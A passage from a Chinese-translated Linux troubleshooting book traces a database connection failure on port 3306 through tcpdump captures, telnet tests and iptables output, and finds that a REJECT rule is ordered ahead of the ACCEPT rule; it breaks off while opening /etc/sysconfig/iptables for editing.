[DF], proto TCP (6), length 60) - 192.168.33.11.34133 > 192.168.33.12.22: Flags [S], cksum 0x977b (correct), seq 2193487479, win 14600, options [mss 1460,sackOK,TS val 7058697 ecr 0,nop,wscale 6], length 0 -03:03:15.670847 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.12.22 > 192.168.33.11.34133: Flags [S.], cksum 0xc396 (correct), seq 3659372781, ack 2193487480, win 14480, options [mss 1460,sackOK,TS val 7018839 ecr 7058697,nop,wscale 6], length 0 -03:03:15.671295 IP (tos 0x10, ttl 64, id 17279, offset 0, flags [DF], proto TCP (6), length 52) - 192.168.33.11.34133 > 192.168.33.12.22: Flags [.], cksum 0x718b (correct), seq 1, ack 1, win 229, options [nop,nop,TS val 7058697 ecr 7018839], length 0 - -``` - -从捕获的数据中,我们可以看到一个标准的健康连接。 我们可以看到连接来自 IP`192.168.33.11`,博客服务器的 IP。 我们还可以看到连接是通过端口`22`到达 IP`192.168.33.12`的。 我们可以从下面一行看到所有这些: - -```sh -192.168.33.11.34133 > 192.168.33.12.22: Flags [S], cksum 0x977b (correct), seq 2193487479, win 14600, options [mss 1460,sackOK,TS val 7058697 ecr 0,nop,wscale 6], length 0 - -``` - -从第二个捕获报文中,我们可以看到数据库服务器对博客服务器的**SYN-ACK**回复: - -```sh - 192.168.33.12.22 > 192.168.33.11.34133: Flags [S.], cksum 0x0b15 (correct), seq 3659372781, ack 2193487480, win 14480, options [mss 1460,sackOK,TS val 7018839 ecr 7058697,nop,wscale 6], length 0 - -``` - -可以看到,`SYN-ACK`的应答是从`192.168.33.12`IP 地址到`192.168.33.11`IP 地址。 到目前为止,TCP 连接似乎正常,第三个捕获的数据包证实了这一点: - -```sh - 192.168.33.11.34133 > 192.168.33.12.22: Flags [.], cksum 0x718b (correct), seq 1, ack 1, win 229, options [nop,nop,TS val 7058697 ecr 7018839], length 0 - -``` - -第三个数据包是来自博客服务器的**SYN-ACK-ACK**。 这意味着不仅博客服务器`SYN`信息包到达并得到`SYN-ACK`响应,博客服务器还接收数据库服务器`SYN-ACK`信息包并得到`SYN-ACK-ACK`响应。 这是端口`22`的完整三次握手。 - -现在,让我们看看到端口`3306`的连接。 为此,我们将使用相同的`tcpdump`命令,这一次将端口更改为`3306`: - -```sh -[db]# tcpdump -nnnvvv -i any port 3306 -tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes - -``` - -在运行`tcpdump`时,我们可以使用博客服务器上的`telnet`来建立连接: - -```sh -[blog]$ telnet db.example.com 3306 -Trying 192.168.33.12... -telnet: connect to address 192.168.33.12: No route to host - -``` - -正如所料,`telnet`命令连接失败; 让我们看看`tcpdump`在这段时间是否捕获了任何数据包: - -```sh -06:04:25.488396 IP (tos 0x10, ttl 64, id 44350, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.55002 > 192.168.33.12.3306: Flags [S], cksum 0x7699 (correct), seq 3266396266, win 14600, options [mss 1460,sackOK,TS val 12774740 ecr 0,nop,wscale 6], length 0 - -``` - -事实上,`tcpdump`似乎确实捕获了一个数据包,但只有一个。 - -捕获的报文是从`192.168.33.11`(博客服务器)发送到 192.168.33.12(数据库服务器)的`SYN`报文。 这表明来自博客服务器的数据包到达了数据库服务器; 但我们没有看到一个回复包。 - -正如你在前一章的中学到的,当我们对`tcpdump`应用过滤器时,我们经常会遗漏一些东西。 在本例中,我们正在过滤`tcpdump`以查找来自`3306`或通往`3306`端口的流量。 既然我们知道所讨论的服务器是博客服务器,我们可以更改过滤器来捕获来自博客服务器 IP 的所有流量; `192.168.33.11`。 我们可以使用`tcpdump`的主机过滤器: - -```sh -[db]# tcpdump -nnnvvv -i any host 192.168.33.11 -tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes - -``` - -当`tcpdump`再次运行时,我们可以再次从博客服务器启动`telnet`连接: - -```sh -[blog]$ telnet db.example.com 3306 -Trying 192.168.33.12... -telnet: connect to address 192.168.33.12: No route to host - -``` - -同样,telnet 连接预期是不成功的; 然而,这一次我们可以从`tcpdump`中看到更多: - -```sh -06:16:49.729134 IP (tos 0x10, ttl 64, id 23760, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.55003 > 192.168.33.12.3306: Flags [S], cksum 0x9be6 (correct), seq 1849431125, win 14600, options [mss 1460,sackOK,TS val 13518981 ecr 0,nop,wscale 6], length 0 -06:16:49.729199 IP (tos 0xd0, ttl 64, id 40207, offset 0, flags [none], proto ICMP (1), length 88) - 192.168.33.12 > 192.168.33.11: ICMP host 192.168.33.12 unreachable - admin prohibited, length 68 - -``` - -这一次,我们可以看到相当多的有用信息,直接表明我们的问题是由于系统防火墙。 - -看起来`tcpdump`能够捕获两个包。 让我们分析一下它能够捕捉到什么,以便更好地理解发生了什么: - -```sh -06:16:49.729134 IP (tos 0x10, ttl 64, id 23760, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.55003 > 192.168.33.12.3306: Flags [S], cksum 0x9be6 (correct), seq 1849431125, win 14600, options [mss 1460,sackOK,TS val 13518981 ecr 0,nop,wscale 6], length 0 - -``` - -第一个数据包与我们前面看到的相同,从博客服务器到端口`3306`上的数据库服务器的一个简单的`SYN`请求。 然而,第二个包却相当有趣: - -```sh -06:16:49.729199 IP (tos 0xd0, ttl 64, id 40207, offset 0, flags [none], proto ICMP (1), length 88) - 192.168.33.12 > 192.168.33.11: ICMP host 192.168.33.12 unreachable - admin prohibited, length 68 - -``` - -第二个报文甚至不是基于 TCP 的报文,而是一个**ICMP**报文。 早些时候[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting"),*【显示】网络故障排除,我们谈到了 ICMP 回应请求和应答数据包以及他们使用的`ping`命令来确定主机是否可用。 但是,ICMP 不止用于`ping`命令。* - -## 理解 ICMP - -ICMP 协议被用作跨网络发送消息的控制协议。 回显请求和回显应答消息只是这种协议的一个例子。 这个协议也经常被用来通知其他系统的错误。 - -在这种情况下,数据库服务器向博客服务器发送 ICMP 报文,通知它 IP 主机 192.168.33.12 不可达: - -```sh -proto ICMP (1), length 88) - 192.168.33.12 > 192.168.33.11: ICMP host 192.168.33.12 unreachable - admin prohibited, length 68 - -``` - -数据库服务器不仅说它不可达,还告诉博客服务器不可达状态的原因是管理上禁止连接。 这种类型的回复表明防火墙是连接问题的根源,因为防火墙将使用的消息类型通常在管理上是被禁止的。 - -### 理解拒绝连接 - -当一个 TCP 连接被连接到一个不可用的服务或一个没有被监听的端口时,Linux 内核将发送一个应答。 然而,应答是一个 TCP Reset,它告诉远程系统重置连接。 - -我们可以通过在运行`tcpdump`时连接到一个无效的端口来看到这一点。 在博客服务器上,如果我们运行`tcpdump`,端口`5000`当前没有被使用。 使用`port`过滤器,我们将看到所有进出该端口的流量: - -```sh -[blog]# tcpdump -vvvnnn -i any port 5000 -tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes - -``` - -使用`tcpdump`,捕获端口 5000 上的所有流量,我们现在可以使用 telnet 尝试连接: - -```sh -[laptop]$ telnet 192.168.33.11 5000 -Trying 192.168.33.11... -telnet: connect to address 192.168.33.11: Connection refused -telnet: Unable to connect to remote host - -``` - -实际上我们已经看到了一些不同的东西。 早些时候,当我们在数据库服务器上执行`telnet`到端口`3306`时,`telnet`命令打印了一条不同的消息: - -```sh -telnet: connect to address 192.168.33.12: No route to host - -``` - -这是因为以前,当执行 telnet 连接时,服务器收到一个 ICMP 目的地不可用报文。 - -然而,这一次却收到了不同的回复。 我们可以在被`tcpdump`捕获的数据包中看到这个应答: - -```sh -06:57:42.954091 IP (tos 0x10, ttl 64, id 47368, offset 0, flags [DF], proto TCP (6), length 64) - 192.168.33.1.53198 > 192.168.33.11.5000: Flags [S], cksum 0xca34 (correct), seq 1134882056, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 511014642 ecr 0,sackOK,eol], length 0 -06:57:42.954121 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) - 192.168.33.11.5000 > 192.168.33.1.53198: Flags [R.], cksum 0xd86e (correct), seq 0, ack 1134882057, win 0, length 0 - -``` - -这一次,回送的数据包是 TCP 复位: - -```sh -192.168.33.11.5000 > 192.168.33.1.53198: Flags [R.], - -``` - -重置**包,一般来说,一个期望什么问题是由于简单的连接错误,因为这是标准的 TCP 响应客户机试图连接的情况下一个港口是不再可用。** - - **RESET 报文也可以由拒绝连接的应用发送。 然而,不可到达的 ICMP 目的地通常是当包被防火墙拒绝时,您将收到的答复; 也就是说,如果防火墙服务被配置为响应的话。 - -# 对你所学内容的快速总结 - -通过到目前为止的故障排除,我们已经确定博客服务器能够通过端口`22`建立到数据库服务器的连接。 这个连接实际上能够执行一个完整的三次握手,不像我们之前的章节。 但是,博客服务器不能通过端口`3306`(数据库端口)与数据库服务器执行三次握手。 - -当博客服务器试图通过端口 3306 与数据库服务器建立连接时,数据库服务器将向博客服务器发送一个 ICMP 目的不可达报文。 这个数据包实际上是在告诉博客服务器,连接数据库的尝试被拒绝了。 但是,数据库服务已经启动并在端口 3306 上侦听(通过`netstat`验证)。 除了要监听的端口之外,如果我们在本地`telnet`到端口 3306,那么就会从数据库服务器本身建立连接。 - -考虑到所有这些数据点,数据库服务器可能已经启用了防火墙服务,并阻止了端口 3306 的连接。 - -# 使用 iptables 管理 Linux 防火墙 - -当谈到管理 Linux 内的防火墙服务时,有许多选项,最流行的是`iptables`和`ufw`。 对于 Ubuntu 发行版,`ufw`是默认的防火墙管理工具; 然而,总的来说,`iptables`是目前在多个 Linux 发行版中最受欢迎的。 然而,这两者本身只是**Netfilter**的简单用户界面。 - -Netfilter 是 Linux 内核中的一个框架,它允许包过滤以及网络和端口转换。 `iptables`命令等工具只需与`netfilter`框架交互,就可以应用这些规则。 - -在本书中,我们将集中讨论如何使用`iptables`命令和服务来管理我们的防火墙规则。 它不仅是最流行的防火墙工具,而且很长一段时间以来一直是基于 Red Hat 的操作系统的默认防火墙服务。 即使在 Red Hat Enterprise Linux 7 中有更新的`firewalld`服务,这也只是一个用来管理`iptables`的服务。 - -## 验证 iptables 是否正在运行 - -由于我们怀疑我们的问题是由于系统的防火墙配置造成的,所以我们应该首先检查防火墙是否正在运行,以及定义了哪些规则。 由于`iptables`作为服务运行,所以第一步是简单地检查服务的状态: - -```sh -[db]# ps -elf | grep iptables -0 R root 4189 3220 0 80 0 - 28160 - 16:31 pts/0 00:00:00 grep --color=auto iptables - -``` - -以前,当我们检查服务是否正在运行时,我们只需使用`ps`命令。 这对于 MariaDB 或 Apache 这样的服务非常有效; `iptables`,然而,是不同的。 由于`iptables`只是一个与`netfilter`交互的命令,`iptables`服务不像大多数其他服务一样是一个守护进程。 事实上,当您启动`iptables`服务时,您只是应用了已保存的`netfilter`规则,而当您停止服务时,您只是刷新了那些规则。 我们将在本章的稍后部分探讨这个概念,但现在我们只使用 service 命令检查`iptables`服务是否正在运行: - -```sh -[db]# service iptables status -Redirecting to /bin/systemctl status iptables.service -iptables.service - IPv4 firewall with iptables - Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled) - Active: active (exited) since Wed 2015-04-01 16:36:16 UTC; 4min 56s ago - Process: 4202 ExecStop=/usr/libexec/iptables/iptables.init stop (code=exited, status=0/SUCCESS) - Process: 4332 ExecStart=/usr/libexec/iptables/iptables.init start (code=exited, status=0/SUCCESS) - Main PID: 4332 (code=exited, status=0/SUCCESS) - -Apr 01 16:36:16 db.example.com systemd[1]: Starting IPv4 firewall with iptables... -Apr 01 16:36:16 db.example.com iptables.init[4332]: iptables: Applying firewall rules: [ OK ] -Apr 01 16:36:16 db.example.com systemd[1]: Started IPv4 firewall with iptables. - -``` - -随着 Red HatEnterprise Linux 7 的发布,Red Hat 已经迁移到`systemd`,取代了标准的`init`系统。 通过这种迁移,服务命令不再是管理服务的首选命令。 此功能将`systemd`的控制命令移动到`systemctl`命令。 - -对于 RHEL 7,至少`service`命令仍然是可执行的; 然而,这个命令只是对`systemctl`的包装。 下面是使用`systemctl`命令检查`iptables`服务状态的命令。 在本书中,我们将使用`systemctl`命令,而不是传统的服务命令: - -```sh -[db]# systemctl status iptables.service -iptables.service - IPv4 firewall with iptables - Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled) - Active: active (exited) since Wed 2015-04-01 16:36:16 UTC; 26min ago - Process: 4202 ExecStop=/usr/libexec/iptables/iptables.init stop (code=exited, status=0/SUCCESS) - Process: 4332 ExecStart=/usr/libexec/iptables/iptables.init start (code=exited, status=0/SUCCESS) - Main PID: 4332 (code=exited, status=0/SUCCESS) - -Apr 01 16:36:16 db.example.com systemd[1]: Starting IPv4 firewall with iptables... -Apr 01 16:36:16 db.example.com iptables.init[4332]: iptables: Applying firewall rules: [ OK ] -Apr 01 16:36:16 db.example.com systemd[1]: Started IPv4 firewall with iptables. - -``` - -从前面的`systemctl`输出可以看到,当前`iptables`服务是活动的。 我们可以从`systemctl`输出的第三行中识别这一点: - -```sh - Active: active (exited) since Wed 2015-04-01 16:36:16 UTC; 26min ago - -``` - -当`iptables`服务没有运行时,事情看起来有很大的不同: - -```sh -[db]# systemctl status iptables.service -iptables.service - IPv4 firewall with iptables - Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled) - Active: inactive (dead) since Thu 2015-04-02 02:55:26 UTC; 1s ago - Process: 4489 ExecStop=/usr/libexec/iptables/iptables.init stop (code=exited, status=0/SUCCESS) - Process: 4332 ExecStart=/usr/libexec/iptables/iptables.init start (code=exited, status=0/SUCCESS) - Main PID: 4332 (code=exited, status=0/SUCCESS) - -Apr 01 16:36:16 db.example.com systemd[1]: Starting IPv4 firewall with iptables... -Apr 01 16:36:16 db.example.com iptables.init[4332]: iptables: Applying firewall rules: [ OK ] -Apr 01 16:36:16 db.example.com systemd[1]: Started IPv4 firewall with iptables. -Apr 02 02:55:26 db.example.com systemd[1]: Stopping IPv4 firewall with iptables... -Apr 02 02:55:26 db.example.com iptables.init[4489]: iptables: Setting chains to policy ACCEPT: nat filter [ OK ] -Apr 02 02:55:26 db.example.com iptables.init[4489]: iptables: Flushing firewall rules: [ OK ] -Apr 02 02:55:26 db.example.com iptables.init[4489]: iptables: Unloading modules: [ OK ] -Apr 02 02:55:26 db.example.com systemd[1]: Stopped IPv4 firewall with iptables. - -``` - -在前面的示例中,`systemctl`显示`iptables`服务为未激活状态: - -```sh - Active: inactive (dead) since Thu 2015-04-02 02:55:26 UTC; 1s ago - -``` - -`systemctl`的一个好处是,当运行状态选项时,输出包括来自服务的日志消息: - -```sh -Apr 02 02:55:26 db.example.com systemd[1]: Stopping IPv4 firewall with iptables... -Apr 02 02:55:26 db.example.com iptables.init[4489]: iptables: Setting chains to policy ACCEPT: nat filter [ OK ] -Apr 02 02:55:26 db.example.com iptables.init[4489]: iptables: Flushing firewall rules: [ OK ] -Apr 02 02:55:26 db.example.com iptables.init[4489]: iptables: Unloading modules: [ OK ] -Apr 02 02:55:26 db.example.com systemd[1]: Stopped IPv4 firewall with iptables. - -``` - -从前面的代码中,我们可以看到`iptables`服务的停止进程使用的所有状态消息。 - -## 显示正在执行的 iptables 规则 - -既然我们知道了`iptables`服务是*活动的*并且正在运行,那么我们还应该看看定义和执行的`iptables`规则。 为此,我们将使用`–L`(列表)和`–n`(数字)标志的`iptables`命令: - -```sh -[db]# iptables -L -n -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED -ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 -ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 -REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject- with icmp-host-prohibited -ACCEPT tcp -- 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -Chain FORWARD (policy ACCEPT) -target prot opt source destination -REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject- with icmp-host-prohibited - -Chain OUTPUT (policy ACCEPT) -target prot opt source destination - -``` - -在执行`iptables`时,标记`–L`和`–n`不会合并。 与大多数其他命令不同,`iptables`具有特定的格式,要求将一些标志与其他标志分开。 在本例中,`–L`标志与其他选项分开。 我们可以将`–v`(详细)选项添加到`–n`中,但不能添加到`–L`中。 下面是使用 verbose 选项执行的示例: - -```sh -[db]# iptables -L -nv - -``` - -从`iptables -L -n`的输出可以看出,在这个服务器上有很多`iptables`规则。 让我们分解这些规则以便更好地理解它们。 - -## 理解 iptables 规则 - -在讨论个别规则之前,我们应该首先讨论`iptables`和防火墙的一些一般规则。 - -### 订购事项 - -知道的第一个重要规则是顺序很重要。 如果我们查看`iptables -L -n`返回的数据,我们可以看到有多个规则,这些规则的顺序决定了如何解释该规则。 - -我喜欢把`iptables`看作一个清单; 当收到一个数据包时`iptables`将从上到下检查检查表。 当它找到匹配条件的规则时,就应用该规则。 - -这是人们在使用`iptables`时最常犯的错误之一,将规则从上到下排列。 - -### 默认策略 - -一般来说,`iptables`有两种用法,要么是允许所有的流量,除非特别禁止,要么是禁止所有的流量,除非特别禁止。 这些方法称为**默认允许**和**默认拒绝**策略。 - -使用任何一种策略都是可以接受的,这取决于 Linux 防火墙的预期用途。 然而,通常情况下,默认的拒绝策略被认为是更安全的方法,因为该策略需要为所讨论的服务器所需的每种访问类型添加规则。 - -### 打破 iptables 规则 - -由于`iptables`从上到下处理规则,为了更好地理解这些规则,我们将从下到上看一下`iptables`规则: - -```sh -Chain FORWARD (policy ACCEPT) -target prot opt source destination -REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject- with icmp-host-prohibited - -``` - -我们看到的第一个规则是`REJECT`从`FORWARD`链的任何源到任何目的地的所有协议。 这是否意味着`iptables`将阻止一切? 是的,但只对正在转发的数据包有效。 - -`iptables`命令将网络流量类型分为表和链。 表由正在执行的高级操作组成,如过滤、网络地址转换或更改数据包。 - -在每个表中,还有几个“链”。 这些链用于定义应用规则的流量类型。 在`FORWARD`链的情况下,该匹配正在转发的流量,这通常用于路由。 - -下一个应用规则的链是`INPUT`链: - -```sh -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED -ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 -ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 -REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject- with icmp-host-prohibited -ACCEPT tcp -- 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -``` - -这条链适用于进入本地系统的流量; 基本上,这些规则只适用于到达系统的流量: - -```sh -ACCEPT tcp -- 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -``` - -如果我们看最后一个规则链中,我们可以看到,它专门定义的系统应该`ACCEPT`TCP 流量`192.168.0.0/16`内的源 IP 网络和目的地 IP 0.0.0.0/0,像`netstat`是一个通配符。 该规则的最后一部分定义该规则仅适用于目标端口为`3306`的新连接。 - -简单地说,该规则的作用是允许 192.168.0.0/16 网络中的任何 IP 访问任何数据库服务器本地 IP 上的端口 3306。 - -这个规则尤其应该允许来自我们的博客服务器(192.168.33.11)的流量,但是它上面的规则呢? - -```sh -REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject- with icmp-host-prohibited - -``` - -上面的规则明确指出,系统应该`REJECT`从一个源 IP`0.0.0.0/0`到一个目的 IP`0.0.0.0/0`的所有协议,并回复一个 ICMP 报文,表明该主机是被禁止的。 通过前面的网络故障排除,我们知道`0.0.0.0/0`网络是所有网络的通配符。 - -这意味着该规则将`REJECT`所有流量发送到系统,有效地使我们的系统使用“默认拒绝”策略。 然而,这并不是定义“默认拒绝”策略的常用方法。 - -如果我们看一下这个链的规则集的顶部,我们会看到以下内容: - -```sh -Chain INPUT (policy ACCEPT) - -``` - -这实际上是说,`INPUT`链本身有一个`ACCEPT`策略,这意味着链本身使用一个“默认允许”策略。 然而,在这个链中有一个规则将`REJECT`所有流量。 - -这意味着,虽然链的策略在技术上不是默认拒绝,但该规则有效地完成了相同的事情。 除非流量在此规则之前被明确允许,否则流量将被拒绝,有效地使该链成为一个“默认拒绝”策略。 - -现在,我们有一个有趣的问题; `INPUT`链中的最后一条规则专门允许来自 192.168.0.0/16 源网络的流量进入端口 3306(即`MariaDB`端口)。 然而,上面的规则,拒绝所有交通从任何地方到任何地方。 如果我们花一点时间来记住`iptables`是基于顺序的,那么我们可以很容易地看到这可能是一个问题。 - -问题可能很简单,允许端口 3306 的规则是在阻塞所有通信的规则之后定义的; 实际上,数据库流量被默认的 deny 规则阻塞。 - -然而,在我们开始对这些信息进行操作之前,我们应该继续研究`iptables`规则,因为可能还定义了另一个规则来对抗这两个底层规则: - -```sh -ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - -``` - -`INPUT`链中最后一条规则的第三条解释了为什么 SSH 流量按预期工作。 该规则明确指出,当连接是一个目的端口`22`的新连接时,系统应该`ACCEPT`从任何源到任何目的地的所有 TCP 协议流量。 - -该规则本质上定义了所有到端口`22`的新 TCP 连接都是允许的。 因为它在默认的拒绝规则之前,这意味着在任何情况下,端口`22`的新连接都不会被该规则阻塞。 - -如果我们看一下`INPUT`链中最后一条规则的第四条,我们会看到一条非常有趣的规则: - -```sh -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 - -``` - -该规则告诉系统从任何 IP(`0.0.0.0/0`)到任何 IP(`0.0.0.0/0`)的所有协议。 如果我们看看这条规则并应用顺序很重要的逻辑; 那么这个规则应该允许我们的数据库流量。 - -不幸的是,`iptables`输出有时会产生误导,因为该规则没有显示规则的关键部分; 的接口: - -```sh -[db]# iptables -L -nv -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 36 2016 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - 394 52363 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited - 0 0 ACCEPT tcp -- * * 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -``` - -如果我们将`–v`(详细)标志添加到`iptables`命令中,我们可以看到更多的信息。 特别地,我们可以看到一个名为" In "的新列,它代表 interface: - -```sh - 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 - -``` - -如果我们再看一下这个规则,我们可以看到接口列表明该规则只适用于`loopback`接口上的流量。 由于我们的数据库流量在`enp0s8`接口上,所以数据库流量不匹配以下规则: - -```sh - 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 - -``` - -上一条规则中的第 5 条非常相似,只是它特别允许从任何 IP 到任何 IP 的所有 ICMP 通信。 这解释了为什么我们的**ping**请求工作,因为该规则将允许通过防火墙的 ICMP 回显请求和回显应答。 - -然而,最后一条规则中的第六个与其他规则有很大的不同: - -```sh - 36 2016 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - -``` - -该规则声明系统应该`ACCEPT`从任何 IP(0.0.0.0/0)到任何 IP(0.0.0.0/0)的所有协议; 但该规则仅限于`RELATED`和`ESTABLISHED`数据包。 - -前面,在回顾端口`22`的`iptables`规则时,我们可以看到该规则仅限于`NEW`连接。 这实际上意味着允许用于启动到端口`22`的新连接的数据包,例如`SYN`和`SYN-ACK-ACK`。 - -当规则声明`ESTABLISHED`状态允许时,`iptables`将允许属于已建立 TCP 连接的报文: - -这意味着端口`22`的规则允许新的 SSH 连接。 - -```sh - 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - -``` - -然后,一旦 TCP 连接建立,它被以下规则允许: - -```sh - 36 2016 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - -``` - -### 把规则放在一起 - -现在我们已经查看了所有的`iptables`规则,我们可以对为什么我们的数据库流量不能工作做出有根据的猜测。 - -在`iptables`规则集中,我们可以看到拒绝所有流量的规则被定义在允许数据库连接端口**3306**的规则之前: - -```sh - 394 52363 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited - 0 0 ACCEPT tcp -- * * 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -``` - -由于系统不能启动新的连接,它们不能建立,这将被下列规则所允许: - -```sh - 36 2016 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - -``` - -我们可以通过查看所定义的规则来确定所有这些内容,但这也需要非常精通`iptables`的知识。 - -还有一种更简单的方法来确定哪些规则是阻塞的,哪些是允许的。 - -### 查看 iptables 计数器 - -通过`iptables`的详细输出,我们不仅可以看到规则应用到的接口,还可以看到两个非常有用的额外列。 这两列是**pkts**和**bytes**: - -```sh -[db]# iptables -L -nv -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 41 2360 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - -``` - -`pkts`列是`iptables`详细输出中的第一列,这一列包含了规则已经应用到的包的数量。 如果我们查看前面的规则,我们可以看到该规则已经应用于`41`数据包。 `bytes`列是第二列,用于表示规则所应用的字节数。 在前面的示例中,该规则应用于 2360 个字节。 - -我们可以使用`iptables`中的包和字节计数器来确定哪些规则正在应用于我们的数据库流量。 为此,我们只需刷新浏览器并运行`iptables –L –nv`来触发数据库活动,以识别增加了哪些规则的计数器。 我们甚至可以通过使用`iptables`命令和`–Z`(零)标志来清除当前值,这样做会更简单: - -```sh -[db]# iptables –Z - -``` - -如果我们重新执行`iptables`的详细列表,我们可以看到除了`ESTABLISHED`和`RELATED`规则(每个连接都将匹配该规则,包括我们的 SSH 会话)以外的所有内容的计数器都是`0`: - -```sh -[db]# iptables -L -nv -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 7 388 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - 0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited - 0 0 ACCEPT tcp -- * * 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -``` - -清除这些值后,我们现在可以刷新我们的 web 浏览器并启动一些数据库流量: - -```sh -[db]# iptables -L -nv -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 53 3056 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - 45 4467 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited - 0 0 ACCEPT tcp -- * * 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - -``` - -如果再次以详细模式运行`iptables –L`,我们可以看到,实际上,正如我们所怀疑的那样,缺省的拒绝规则正在拒绝数据包。 我们可以通过以下事实看到这一点:该规则现在已经拒绝了`45`数据包,因为我们使用`–Z`标志将计数器归零。 - -使用`-Z`标志和计数器是一种非常有用的方法; 然而,它可能并不适用于所有情况。 在繁忙的系统和具有许多规则的系统上,可能很难单独使用计数器来显示哪些规则正在被匹配。 因此,通过`iptables`构建体验,理解其复杂性是非常重要的。 - -### 修改 iptables 规则排序 - -更改`iptables`可能需要一点技巧,这并不是因为它难于使用(尽管命令语法有点复杂),而是因为修改`iptables`规则需要两个步骤。 如果忘记了一个步骤(这种情况经常发生),那么问题可能会意外地持续存在。 - -#### iptables 规则的应用 - -当`iptables`服务启动时,启动脚本不像系统上的其他服务那样启动守护进程。 `iptables`服务所做的只是应用已保存规则文件(`/etc/sysconfig/iptables`)中定义的规则。 - -然后将这些规则加载到内存中,它们成为活动规则。 这意味着,如果我们只是在内存中重新排序规则,而不修改保存的文件,那么下一次服务器重新启动时,我们所做的更改就会丢失。 - -另一方面,如果我们只修改了已保存的文件,而没有在内存中重新排序`iptables`规则,那么我们所做的更改将直到下一次`iptables`服务重新启动时才会生效。 - -我经常看到这两种情况发生,人们只是忘记了其中一个步骤或另一个步骤。 这种情况使他们正在处理的问题更加复杂。 - -#### 修改 iptables 规则 - -对于这个场景,我们将选择一个简单的方法来执行和记忆。 我们将首先编辑`/etc/sysconfig/iptables`文件,该文件包含所有定义的`iptables`规则。 然后重新启动`iptables`服务,这将导致刷新当前规则并应用`/etc/sysconfig/iptables`文件中的新规则。 - -要编辑`iptables`文件,只需使用`vi`: - -```sh -[db]# vi /etc/sysconfig/iptables -# Generated by iptables-save v1.4.21 on Mon Mar 30 02:27:35 2015 -*nat -:PREROUTING ACCEPT [10:994] -:INPUT ACCEPT [0:0] -:OUTPUT ACCEPT [0:0] -:POSTROUTING ACCEPT [0:0] 